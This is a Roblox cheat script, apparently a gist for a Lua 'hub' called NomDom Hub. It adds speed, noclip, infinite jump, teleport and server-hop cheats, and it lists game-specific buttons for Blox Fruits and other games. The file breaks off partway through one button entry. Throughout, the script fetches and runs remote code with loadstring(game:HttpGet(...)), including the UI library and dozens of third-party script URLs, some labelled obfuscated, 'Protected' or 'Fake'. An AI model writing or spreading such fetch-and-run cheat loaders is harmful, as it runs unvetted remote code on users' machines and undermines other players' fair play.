Skip to content

Instantly share code, notes, and snippets.

@TDDuym500
Last active May 6, 2025 16:46
Show Gist options
  • Save TDDuym500/c9d31fca989023b737486fa0deed246f to your computer and use it in GitHub Desktop.
Save TDDuym500/c9d31fca989023b737486fa0deed246f to your computer and use it in GitHub Desktop.
-- Hiệu ứng mờ
local blurEffect = Instance.new("BlurEffect")
blurEffect.Size = 30
blurEffect.Enabled = false
blurEffect.Parent = game.Lighting
-- GUI chính
local player = game.Players.LocalPlayer
local gui = Instance.new("ScreenGui")
gui.Name = "ScriptByDuyGui"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Font & Màu dùng chung
local sharedFont = Enum.Font.Gotham
local sharedColor = Color3.fromRGB(200, 200, 200)
local sharedStrokeTransparency = 0.7
-- "Script By Duy"
local mainText = Instance.new("TextLabel")
mainText.Parent = gui
mainText.Size = UDim2.new(1, 0, 1, 0)
mainText.Position = UDim2.new(0, 0, 0, 0)
mainText.BackgroundTransparency = 1
mainText.Text = "Version 11.0.0"
mainText.TextColor3 = sharedColor
mainText.TextStrokeTransparency = sharedStrokeTransparency
mainText.Font = sharedFont
mainText.TextScaled = true
mainText.TextTransparency = 1
-- "Loading Script..."
local loadingText = Instance.new("TextLabel")
loadingText.Parent = gui
loadingText.Size = UDim2.new(1, 0, 0.1, 0)
loadingText.Position = UDim2.new(0, 0, 0.65, 0)
loadingText.BackgroundTransparency = 1
loadingText.Text = "Loading Script... 0%"
loadingText.TextColor3 = sharedColor
loadingText.TextStrokeTransparency = sharedStrokeTransparency
loadingText.Font = sharedFont
loadingText.TextScaled = true
loadingText.TextTransparency = 1
-- "Done!"
local doneText = Instance.new("TextLabel")
doneText.Parent = gui
doneText.Size = loadingText.Size
doneText.Position = loadingText.Position
doneText.BackgroundTransparency = 1
doneText.Text = "Done"
doneText.TextColor3 = sharedColor
doneText.TextStrokeTransparency = sharedStrokeTransparency
doneText.Font = sharedFont
doneText.TextScaled = true
doneText.TextTransparency = 1
-- Bật hiệu ứng mờ
blurEffect.Enabled = true
-- Fade in "Script By Duy" + "Loading"
for i = 1, 0, -0.05 do
mainText.TextTransparency = i
loadingText.TextTransparency = i
task.wait(0.02)
end
-- Loading % chạy nhanh hơn
for i = 0, 100, 2 do
loadingText.Text = "Loading Script... " .. i .. "%"
task.wait(0.01)
end
-- Ẩn loading
for i = 0, 1, 0.05 do
loadingText.TextTransparency = i
task.wait(0.02)
end
-- Hiện "Done"
doneText.TextTransparency = 1 -- Ensure "Done" is visible immediately
for i = 1, 0, -0.05 do
doneText.TextTransparency = i
task.wait(0.02)
end
-- Giữ lại 1.5 giây cho đẹp
task.wait(1.5)
-- Fade out tất cả
for i = 0, 1, 0.05 do
mainText.TextTransparency = i
doneText.TextTransparency = i
task.wait(0.02)
end
-- Tắt blur mượt hơn
for blur = 30, 0, -1 do
blurEffect.Size = blur
task.wait(0.008)
end
-- Xoá GUI
task.wait(0.3)
gui:Destroy()
blurEffect:Destroy()
-- Tải thư viện Fluent
local Fluent = loadstring(game:HttpGet("https://raw.githubusercontent.com/TDDuym500/UiHack/refs/heads/main/Fluent"))()
local UserInputService = game:GetService("UserInputService")
local player = game.Players.LocalPlayer
-- Tạo bảng chứa tên người chơi đặc biệt
local specialUsers = {
"Boptrithuc",
"acctesthacktuviet",
"noxeldp"
}
-- Kiểm tra xem tên người chơi có nằm trong danh sách đặc biệt không
local isSpecialUser = false
for _, name in ipairs(specialUsers) do
if player.Name == name then
isSpecialUser = true
break
end
end
-- Tạo cửa sổ Fluent
local window = Fluent:CreateWindow({
Title = isSpecialUser and "NomDom Hub [Developer]" or "NomDom Hub [User]",
SubTitle = "by NomCak Team",
TabWidth = (UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled and not UserInputService.MouseEnabled) and 160 or 190, -- Mobile: 160, PC: 190
Theme = "Dark",
Acrylic = false,
Size = (UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled and not UserInputService.MouseEnabled) and UDim2.fromOffset(600, 430) or UDim2.fromOffset(700, 490), -- Giữ như trước
MinimizeKey = Enum.KeyCode.End
})
local tabs = {
Infor = window:AddTab({ Title = "Information", Icon = "info" }), -- ID của icon info
Main = window:AddTab({ Title = "Fuction", Icon = "grid" }), -- ID của icon tool
Localplayer = window:AddTab({ Title = "Localplayer", Icon = "user" }), -- ID của icon user
Joinid = window:AddTab({ Title = "Join Server, Game", Icon = "gamepad" }),
Game = window:AddTab({ Title = "Game, User Information", Icon = "clipboard" }),
Setting = window:AddTab({ Title = "Setting", Icon = "settings" }), -- ID của icon setting
Bloxfruit = window:AddTab({ Title = "Blox Fruit" }),
Arisecrossover = window:AddTab({ Title = "Arise Crossover" }),
Deedrails = window:AddTab({ Title = "Deed Rails" }),
Growagarden = window:AddTab({ Title = "Grow A Garden" }),
Bluelock = window:AddTab({ Title = "Blue Lock" }),
Fisch = window:AddTab({ Title = "Fisch" }),
Petgo = window:AddTab({ Title = "Pet Go" }),
Volleyball = window:AddTab({ Title = "Volleyball Legends" }),
Basketball = window:AddTab({ Title = "Basketball" }),
Mm2 = window:AddTab({ Title = "Mm2" }),
Tsb = window:AddTab({ Title = "The Strongest Battlegrounds" }),
Rivals = window:AddTab({ Title = "Rivals" }),
Misc = window:AddTab({ Title = "Misc" }),
}
local Options = Fluent.Options
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local speaker = Players.LocalPlayer
local Community = tabs.Infor:AddSection("Community")
-- ⚙️ Phần Thông Tin
Community:AddButton({
Title = "NomDom Community",
Description = "Discord",
Callback = function()
setclipboard("https://discord.gg/KyhHAh7s")
end
})
Community:AddButton({
Title = "YT NomDom",
Description = "Youtube",
Callback = function()
setclipboard("https://www.youtube.com/channel/NomDomDZ")
end
})
local Developer = tabs.Infor:AddSection("Developer")
-- Developer Section with Paragraphs
Developer:AddParagraph({ Title = "Duy Sdikibi", Content = "Developer" })
Developer:AddParagraph({ Title = "KhangG", Content = "Developer" })
local Fps = tabs.Main:AddSection("Lock Fps")
local selectedFPS = 60
local isFPSLooping = false
local fpsLoopThread = nil
Fps:AddInput("FPSInput", {
Title = "Enter Fps to Lock",
Default = "",
Placeholder = "Fps",
Numeric = true,
Finished = true,
Callback = function(value)
local num = tonumber(value)
if num and num > 0 then
selectedFPS = num
-- Không có thông báo Fluent:Notify
else
-- Không có thông báo Fluent:Notify
end
end
})
Fps:AddToggle("LockFPSToggle", {
Title = "Lock Fps",
Default = false,
Callback = function(state)
if state then
if typeof(setfpscap) == "function" then
setfpscap(selectedFPS)
isFPSLooping = false -- Đảm bảo vòng lặp không chạy nếu setfpscap có
if fpsLoopThread and task.cancel then task.cancel(fpsLoopThread) end
fpsLoopThread = nil
else
isFPSLooping = true
local interval = 1 / selectedFPS
fpsLoopThread = task.spawn(function()
local lastTick = tick()
while isFPSLooping do
local now = tick()
local elapsed = now - lastTick
local wait_time = interval - elapsed
if wait_time > 0 then
task.wait(wait_time)
end
lastTick = tick()
-- Thêm một yield nhỏ để tránh lỗi và cho phép dừng thread
if not task.wait(0.001) then
break -- Thread bị hủy
end
end
end)
end
else
if typeof(setfpscap) == "function" then
setfpscap(999)
end
isFPSLooping = false -- Dừng vòng lặp
if fpsLoopThread and task.cancel then task.cancel(fpsLoopThread) end
fpsLoopThread = nil
end
end
})
local Player = tabs.Localplayer:AddSection("Player")
Player:AddButton({
Title = "Reset Character",
Description = "",
Callback = function()
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid.Health = 0
end
end
}) Player:AddButton({
Title = "Kick Player",
Description = "",
Callback = function()
game.Players.LocalPlayer:Kick("")
end
})
-- 🧍 WalkSpeed & Jump
local Walkspeed = tabs.Localplayer:AddSection("WalkSpeed")
local tpwalking = false
local currentSpeed = 90
local overrideSpeed = nil
local heartbeatConnection = nil
local originalWalkSpeed = 16
local function startTeleportWalk(character)
if not character then return end
local hum = character:WaitForChild("Humanoid", 5)
if not hum then return end
hum.HealthChanged:Connect(function()
local hpPercent = (hum.Health / hum.MaxHealth) * 100
if not overrideSpeed then
currentSpeed = hpPercent <= 30 and 190 or 90
end
end)
if heartbeatConnection then heartbeatConnection:Disconnect() end
heartbeatConnection = RunService.Heartbeat:Connect(function(dt)
if tpwalking and hum and hum.Parent then
local moveDir = hum.MoveDirection
if moveDir.Magnitude > 0 then
character:TranslateBy(moveDir * currentSpeed * dt)
end
end
end)
end
Players.LocalPlayer.CharacterAdded:Connect(function(char)
if tpwalking then
task.wait(1)
startTeleportWalk(char)
end
end)
if speaker.Character then
startTeleportWalk(speaker.Character)
end
Walkspeed:AddToggle("tpwalk_toggle", {
Title = "Walk speed",
Default = false,
Callback = function(state)
tpwalking = state
local char = speaker.Character
if char then
if tpwalking then
startTeleportWalk(char)
local hum = char:WaitForChild("Humanoid", 5)
if hum then hum.WalkSpeed = currentSpeed end
else
local hum = char:WaitForChild("Humanoid", 5)
if hum then hum.WalkSpeed = originalWalkSpeed end
if heartbeatConnection then heartbeatConnection:Disconnect() end
end
end
end
})
Walkspeed:AddInput("speed_input", {
Title = "Speed",
Placeholder = "Enter speed",
Numeric = true,
Finished = true,
Callback = function(value)
local speed = tonumber(value)
if speed then
overrideSpeed = speed
currentSpeed = speed
else
overrideSpeed = nil
end
end
})
-- 🦘 Jump Settings
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer
local Jump = tabs.Localplayer:AddSection("Jump")
local infiniteJumpEnabled = false
local customJumpPowerEnabled = false
local jumpPowerOverride = nil
-- Infinite Jump Handler
UserInputService.JumpRequest:Connect(function()
if infiniteJumpEnabled then
local char = LocalPlayer.Character
if char then
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
humanoid.Jump = true
end
end
end
end)
-- Infinite Jump Toggle
Jump:AddToggle("infinite_jump", {
Title = "Infiniti Jump",
Default = false,
Callback = function(state)
infiniteJumpEnabled = state
end
})
-- High Jump Toggle
Jump:AddToggle("custom_jump_toggle", {
Title = "High Jump",
Default = false,
Callback = function(state)
customJumpPowerEnabled = state
local humanoid = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.JumpPower = state and (jumpPowerOverride or 50) or 50
end
end
})
-- Jump Power Input
Jump:AddInput("jump_power", {
Title = "Jump Power",
Placeholder = "Enter jump height",
Numeric = true,
Finished = true,
Callback = function(value)
jumpPowerOverride = tonumber(value)
local humanoid = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid and customJumpPowerEnabled then
humanoid.JumpPower = jumpPowerOverride or 50
end
end
})
-- Optional: Auto apply custom JumpPower on respawn
LocalPlayer.CharacterAdded:Connect(function(char)
char:WaitForChild("Humanoid")
if customJumpPowerEnabled and jumpPowerOverride then
char.Humanoid.JumpPower = jumpPowerOverride
end
end)
-- 🚷 NoClip
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local Noclip = tabs.Localplayer:AddSection("No Clip")
local NoClip = false
local NoClipConnection
Noclip:AddToggle("NoClip", {
Title = "NoClip",
Default = false,
Callback = function(state)
NoClip = state
if NoClip then
-- Bắt đầu NoClip
NoClipConnection = RunService.Stepped:Connect(function()
local char = LocalPlayer.Character
if char then
for _, part in ipairs(char:GetDescendants()) do
if part:IsA("BasePart") and part.CanCollide == true then
part.CanCollide = false
end
end
end
end)
else
-- Tắt NoClip
if NoClipConnection then
NoClipConnection:Disconnect()
NoClipConnection = nil
end
local char = LocalPlayer.Character
if char then
for _, part in ipairs(char:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end
end
end
})
local Misc = tabs.Localplayer:AddSection("Misc")
local Lighting = game:GetService("Lighting")
local RunService = game:GetService("RunService")
-- Biến kiểm soát trạng thái bật tắt
local isFullBright = false
-- Toggle Full Bright
Misc:AddToggle("FullBrightToggle", {
Title = "Full Bright",
Default = false,
Callback = function(state)
isFullBright = state
-- Nếu tắt thì khôi phục lại Lighting mặc định
if not state then
Lighting.Brightness = 2
Lighting.ClockTime = 14
Lighting.FogEnd = 1000
Lighting.GlobalShadows = true
end
end
})
-- Hàm chạy mỗi frame
RunService.RenderStepped:Connect(function()
if isFullBright then
Lighting.Brightness = 10
Lighting.ClockTime = 12
Lighting.FogEnd = 1e10
Lighting.GlobalShadows = false
end
end)
-- Biến để lưu trạng thái của toggle
local isTeleportEnabled = false
-- Thêm toggle vào tab Misc
Misc:AddToggle("TeleportToggle", {
Title = "Click to teleport", -- Tiêu đề của Toggle
Default = false, -- Trạng thái mặc định (tắt)
Callback = function(state)
isTeleportEnabled = state -- Lưu trạng thái của toggle
if isTeleportEnabled then
print("Teleport Enabled")
else
print("Teleport Disabled")
end
end
})
-- Lấy đối tượng LocalPlayer và Mouse
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
-- Đảm bảo rằng có GUI và nhân vật đã được tải
local character = player.Character or player.CharacterAdded:Wait()
local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
-- Hàm xử lý khi click chuột trái
mouse.Button1Down:Connect(function()
-- Kiểm tra xem teleport có được bật không
if isTeleportEnabled then
-- Lấy vị trí click chuột
local clickPosition = mouse.Hit.p
-- Dịch chuyển nhân vật đến vị trí click (thêm chút cao hơn để tránh vướng mặt đất)
humanoidRootPart.CFrame = CFrame.new(clickPosition + Vector3.new(0, 2, 0))
end
end)
local Players = game:GetService("Players")
local player = Players.LocalPlayer
-- Hàm cập nhật zoom khi bật toggle
local function updateZoom(state)
if state then
player.CameraMinZoomDistance = 0 -- ✅ thay vì 0.5 như trước
player.CameraMaxZoomDistance = math.huge
end
end
-- Đảm bảo thiết lập lại khi respawn
player.CharacterAdded:Connect(function()
if player:GetAttribute("ZoomEnabled") then
updateZoom(true)
end
end)
-- Toggle trong UI
Misc:AddToggle("camera_zoom_toggle", {
Title = "Camera Is Not Locked",
Default = false,
Callback = function(state)
player:SetAttribute("ZoomEnabled", state)
updateZoom(state)
end
})
-- Thiết lập ban đầu
if player.Character then
updateZoom(true)
end
local Players = game:GetService("Players")
local player = Players.LocalPlayer
-- Lưu giá trị gốc mặc định trước khi chỉnh
local defaultMaxZoom = player.CameraMaxZoomDistance
Misc:AddToggle("unlimited_zoom_toggle", {
Title = "Infinite Zoom",
Default = false,
Callback = function(state)
if state then
player.CameraMaxZoomDistance = math.huge
else
player.CameraMaxZoomDistance = defaultMaxZoom
end
end
})
local Joinid = tabs.Joinid:AddSection("Join ID")
Joinid:AddInput("Input", {
Title = "Job ID",
Default = "",
Placeholder = "Paste Job ID Here",
Numeric = false,
Finished = false,
Callback = function(Value)
_G.Job = Value
end
})
Joinid:AddButton({
Title="Join",
Description="",
Callback=function()
game:GetService("TeleportService"):TeleportToPlaceInstance(game.placeId,_G.Job, game.Players.LocalPlayer)
end
})
Joinid:AddButton({
Title="Copy Job ID",
Description="",
Callback=function()
setclipboard(tostring(game.JobId))
end
})
local Toggle = tabs.Joinid:AddToggle("MyToggle", {Title="Spam Tham Gia Job ID", Default=false })
Toggle:OnChanged(function(Value)
_G.Join=Value
end)
spawn(function()
while wait() do
if _G.Join then
game:GetService("TeleportService"):TeleportToPlaceInstance(game.placeId,_G.Job, game.Players.LocalPlayer)
end
end
end)
Joinid:AddButton({
Title = "Rejoin Server",
Description = "",
Callback = function()
game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer)
end
})
-- Tạo section
local JoinGameSection = tabs.Joinid:AddSection("Join Game")
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
-- Danh sách game
local gameList = {
["Blox Fruits"] = 2753915549,
["Grow A Garden"] = 126884695634066,
["Blue Lock"] = 18668065416,
["Fish"] = 16732694052,
["Pet Go"] = 18901165922,
["Deed Rails"] = 116495829188952,
["Arise Crossover"] = 87039211657390,
["Volleyball Legends"] = 73956553001240,
["Basketball"] = 130739873848552,
["Mm2"] = 142823291,
["The Strongest Battlegrounds"] = 10449761463,
["Rivals"] = 17625359962,
}
-- Biến lưu game đã chọn
local selectedGame = nil
-- Dropdown chọn game
JoinGameSection:AddDropdown("Chọn Game", {
Title = "Choose a game",
Values = (function()
local names = {}
for name in pairs(gameList) do
table.insert(names, name)
end
table.sort(names)
return names
end)(),
Callback = function(value)
selectedGame = gameList[value]
end
})
-- Nút Join Game
JoinGameSection:AddButton({
Title = "Join game",
Description = "",
Callback = function()
if selectedGame then
TeleportService:Teleport(selectedGame, Players.LocalPlayer)
end
end
})
local Hop = tabs.Joinid:AddSection("Hop")
Hop:AddButton({
Title = "Hop Low Server",
Description = "",
Callback = function()
getgenv().AutoTeleport = true
getgenv().DontTeleportTheSameNumber = true
getgenv().CopytoClipboard = false
if not game:IsLoaded() then
print("Game is loading waiting...")
end
local maxplayers = math.huge
local serversmaxplayer;
local goodserver;
local gamelink = "https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100"
function serversearch()
for _, v in pairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync(gamelink)).data) do
if type(v) == "table" and v.playing ~= nil and maxplayers > v.playing then
serversmaxplayer = v.maxPlayers
maxplayers = v.playing
goodserver = v.id
end
end
end
function getservers()
serversearch()
for i,v in pairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync(gamelink))) do
if i == "nextPageCursor" then
if gamelink:find("&cursor=") then
local a = gamelink:find("&cursor=")
local b = gamelink:sub(a)
gamelink = gamelink:gsub(b, "")
end
gamelink = gamelink .. "&cursor=" ..v
getservers()
end
end
end
getservers()
if AutoTeleport then
if DontTeleportTheSameNumber then
if #game:GetService("Players"):GetPlayers() - 4 == maxplayers then
return warn("It has same number of players (except you)")
elseif goodserver == game.JobId then
return warn("Your current server is the most empty server atm")
end
end
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, goodserver)
end
end
})
Hop:AddButton({
Title = "Hop Server",
Description = "",
Callback = function()
local HttpService = game:GetService("HttpService")
local TPS = game:GetService("TeleportService")
-- Kiểm tra nếu game có thể gửi request HTTP
local success, response = pcall(function()
return game:HttpGet("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")
end)
if not success then
print("Không thể lấy danh sách server! Hãy kiểm tra HTTP Requests trong cài đặt game.")
return
end
local Servers = HttpService:JSONDecode(response).data
local AvailableServers = {}
for _, v in pairs(Servers) do
if v.playing < v.maxPlayers and v.id ~= game.JobId then
table.insert(AvailableServers, v.id)
end
end
if #AvailableServers > 0 then
local RandomServer = AvailableServers[math.random(1, #AvailableServers)]
-- Kiểm tra nếu TPS có thể teleport
local teleportSuccess, teleportError = pcall(function()
TPS:TeleportToPlaceInstance(game.PlaceId, RandomServer)
end)
if not teleportSuccess then
print("Lỗi Teleport: " .. teleportError)
end
else
print("Không tìm thấy server phù hợp!")
end
end
})
-------[ Hiển thị thông tin ]---
-- 🌐 Dịch vụ cần thiết
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local MarketplaceService = game:GetService("MarketplaceService")
local LocalPlayer = Players.LocalPlayer
-- === 1. Player Information ===
local sectionPlayer = tabs.Game:AddSection("Player Information")
sectionPlayer:AddParagraph({
Title = "Username",
Content = LocalPlayer.Name or "N/A"
})
sectionPlayer:AddParagraph({
Title = "Display Name",
Content = LocalPlayer.DisplayName or "N/A"
})
-- 🌍 Xác định quốc gia
local locale = (LocalPlayer.LocaleId or "unknown"):lower()
local countryMap = {
vn = "Vietnam",
th = "Thailand",
id = "Indonesia",
ph = "Philippines",
my = "Malaysia",
us = "United States",
br = "Brazil",
kr = "South Korea",
jp = "Japan",
de = "Germany",
fr = "France",
ru = "Russia"
}
local country = "Unknown"
for code, name in pairs(countryMap) do
if locale:find(code) then
country = name
break
end
end
sectionPlayer:AddParagraph({
Title = "Country",
Content = country
})
-- === 2. Executor ===
local sectionExecute = tabs.Game:AddSection("Executor")
local executor = "Unknown"
if syn then
executor = "Synapse X"
elseif KRNL_LOADED then
executor = "KRNL"
elseif fluxus then
executor = "Fluxus"
elseif getexecutorname then
local success, execName = pcall(getexecutorname)
if success and type(execName) == "string" then
executor = execName
end
end
sectionExecute:AddParagraph({
Title = "Use Client",
Content = executor
})
local execStatus = (executor == "Xeno" or executor:lower():find("solara")) and "May Error" or "Working"
sectionExecute:AddParagraph({
Title = "Status",
Content = execStatus
})
-- === 3. Device Information ===
local sectionDevice = tabs.Game:AddSection("Device Information")
local deviceType = UserInputService.TouchEnabled and "Mobile"
or (UserInputService.KeyboardEnabled and not UserInputService.GamepadEnabled and "PC")
or "Console"
sectionDevice:AddParagraph({
Title = "Device Type",
Content = deviceType
})
-- === 4. Game Information ===
local sectionGame = tabs.Game:AddSection("Game Information")
-- Đảm bảo game đã load trước khi gọi GetProductInfo
if not game:IsLoaded() then
game.Loaded:Wait()
end
local gameName = "Unknown"
pcall(function()
local info = MarketplaceService:GetProductInfo(game.PlaceId)
if info and info.Name then
gameName = info.Name
end
end)
sectionGame:AddParagraph({
Title = "Game Name",
Content = gameName
})
sectionGame:AddParagraph({
Title = "Game ID (PlaceId)",
Content = tostring(game.PlaceId)
})
sectionGame:AddParagraph({
Title = "Server ID",
Content = game.JobId or "N/A"
})
local Mainbf = tabs.Bloxfruit:AddSection("Main")---- Add mục Main
Mainbf:AddButton({
Title = "W azure",
Description = "",
Callback = function()
getgenv().Team = "Marines" --Marines Pirates
getgenv().AutoLoad = true --Will Load Script On Server Hop
getgenv().SlowLoadUi = false
getgenv().ForceUseSilentAimDashModifier = false --Force turn on silent aim, if error then executor problem
getgenv().ForceUseWalkSpeedModifier = true --Force turn on Walk Speed Modifier, if error then executor problem
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/3b2169cf53bc6104dabe8e19562e5cc2.lua"))()
end
})
Mainbf:AddButton({
Title = "Redz Hub",
Description = "",
Callback = function()
local Settings = {
JoinTeam = "Pirates"; -- Pirates/Marines
Translator = true; -- true/false
}
loadstring(game:HttpGet("https://raw.githubusercontent.com/newredz/BloxFruits/refs/heads/main/Source.luau"))()
end
})
Mainbf:AddButton({
Title = "Xero Hub",
Description = "",
Callback = function()
getgenv().Team = "Marines"
getgenv().Hide_Menu = false
getgenv().Auto_Execute = false
loadstring(game:HttpGet("https://raw.githubusercontent.com/Xero2409/XeroHub/refs/heads/main/main.lua"))()
end
}) Mainbf:AddButton({
Title = "Teddy Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/skibiditoiletgojo/Haidepzai/refs/heads/main/Teddy-FREMIUM"))()
end
}) Mainbf:AddButton({
Title = "Green Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaAnarchist/GreenZ-Hub/refs/heads/main/GreenZHub.lua"))()
end
}) Mainbf:AddButton({
Title = "Vxeze Hub",
Description = "",
Callback = function()
getgenv().Language = "English" ---vetnamese
loadstring(game:HttpGet("https://raw.githubusercontent.com/Dex-Bear/Vxezehub/refs/heads/main/VxezeHubMain2"))()
end
}) Mainbf:AddButton({
Title = "Doramon Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/obfmoonsec/Masterhub/refs/heads/main/obf"))()
end
}) Mainbf:AddButton({
Title = "Maru Hub Fake",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/KimP/refs/heads/main/MaruHub"))()
end
}) Mainbf:AddButton({
Title = "Banana Hub Fake",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/kimprobloxdz/Banana-Free/refs/heads/main/Protected_5609200582002947.lua.txt"))()
end
}) Mainbf:AddButton({
Title = "J97 Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/kimprobloxdz/Jack-J97/refs/heads/main/Jack-J97.txt"))()
end
}) Mainbf:AddButton({
Title = "KimP Hub V1",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/KimP/refs/heads/main/KimPRoblox"))()
end
}) Mainbf:AddButton({
Title = "KimP Hub V2",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/KimP/refs/heads/main/KimPRobloxV2"))()
end
}) Mainbf:AddButton({
Title = "KimP Hub V3",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/KimP/refs/heads/main/KimPRobloxV3"))()
end
}) Mainbf:AddButton({
Title = "Tsuo Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Tsuo7/TsuoHub/main/Tsuoscripts"))()
end
}) Mainbf:AddButton({
Title = "Lion Hub",
Description = "",
Callback = function()
repeat wait() until game:IsLoaded() and game.Players.LocalPlayer
getgenv().Team = "Pirates" -- Marines
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/e0c7fcf6c077fc23475cf4ce4db58e42.lua"))()
end
}) Mainbf:AddButton({
Title = "QuanTum Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Trustmenotcondom/QTONYX/refs/heads/main/QuantumOnyx.lua"))()
end
}) Mainbf:AddButton({
Title = "Zenith Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Efe0626/ZenithHub/refs/heads/main/Loader"))()
end
}) Mainbf:AddButton({
Title = "Xeter Hub v1",
Description = "",
Callback = function()
getgenv().Version = "V1"
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/Loader/main/Xeter.lua"))()
end
}) Mainbf:AddButton({
Title = "Xeter Hub v2",
Description = "",
Callback = function()
getgenv().Version = "V2"
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/Loader/main/Xeter.lua"))()
end
}) Mainbf:AddButton({
Title = "ThundarZ Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/ThundarZ/Welcome/refs/heads/main/Main/Loader/AllGame.lua'))()
end
}) Mainbf:AddButton({
Title = "Rubu Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/RubuRoblox/refs/heads/main/RubuBF"))()
end
}) Mainbf:AddButton({
Title = "Alchemy Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://scripts.alchemyhub.xyz"))()
end
}) Mainbf:AddButton({
Title = "Bapred Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/BapRed/main/BapRedHub"))()
end
}) Mainbf:AddButton({
Title = "Astral Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Overgustx2/Main/refs/heads/main/BloxFruits_25.html"))()
end
}) Mainbf:AddButton({
Title = "Omg Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Omgshit/Scripts/main/MainLoader.lua"))()
end
}) Mainbf:AddButton({
Title = "Volcano Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/wpisstestfprg/Volcano/refs/heads/main/VolcanoLocal.lua", true))()
end
}) Mainbf:AddButton({
Title = "Kncrypt Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/3345-c-a-t-s-u-s/Kncrypt/refs/heads/main/sources/BloxFruit.lua"))()
end
}) Mainbf:AddButton({
Title = "Hiru Hub",
Description = "Need Key",
Callback = function()
getgenv().Team = "Pirates"
loadstring(game:HttpGet("https://raw.githubusercontent.com/NGUYENVUDUY1/Source/main/HiruHub.lua"))()
end
}) Mainbf:AddButton({
Title = "HoHo Hub",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/acsu123/HOHO_H/main/Loading_UI"))()
end
}) Mainbf:AddButton({
Title = "BlueX Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Dev-BlueX/BlueX-Hub/refs/heads/main/Main.lua"))()
end
}) Mainbf:AddButton({
Title = "Speed Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/AhmadV99/Speed-Hub-X/main/Speed%20Hub%20X.lua", true))()
end
}) Mainbf:AddButton({
Title = "Xeter Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/Loader/main/Xeter.lua"))()
end
}) Mainbf:AddButton({
Title = "Ganteng",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/516a5669fc39b4945cd0609a08264505.lua"))()
end
}) Mainbf:AddButton({
Title = "Cakka Hub",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/UserDevEthical/Loadstring/main/CokkaHub.lua"))()
end
})
local Hopbf = tabs.Bloxfruit:AddSection("Hop Server")
Hopbf:AddButton({
Title = "CutTay Hub Auto Pull Lever",
Description = "Need Key",
Callback = function()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/a1498369f289af2671cca90085f23fb8.lua"))()
end
}) Hopbf:AddButton({
Title = "Min Gamming Hop Boss",
Description = "",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaCrack/Min/refs/heads/main/MinHopBoss"))()
end
}) Hopbf:AddButton({
Title = "Teddy Hub",
Description = "",
Callback = function()
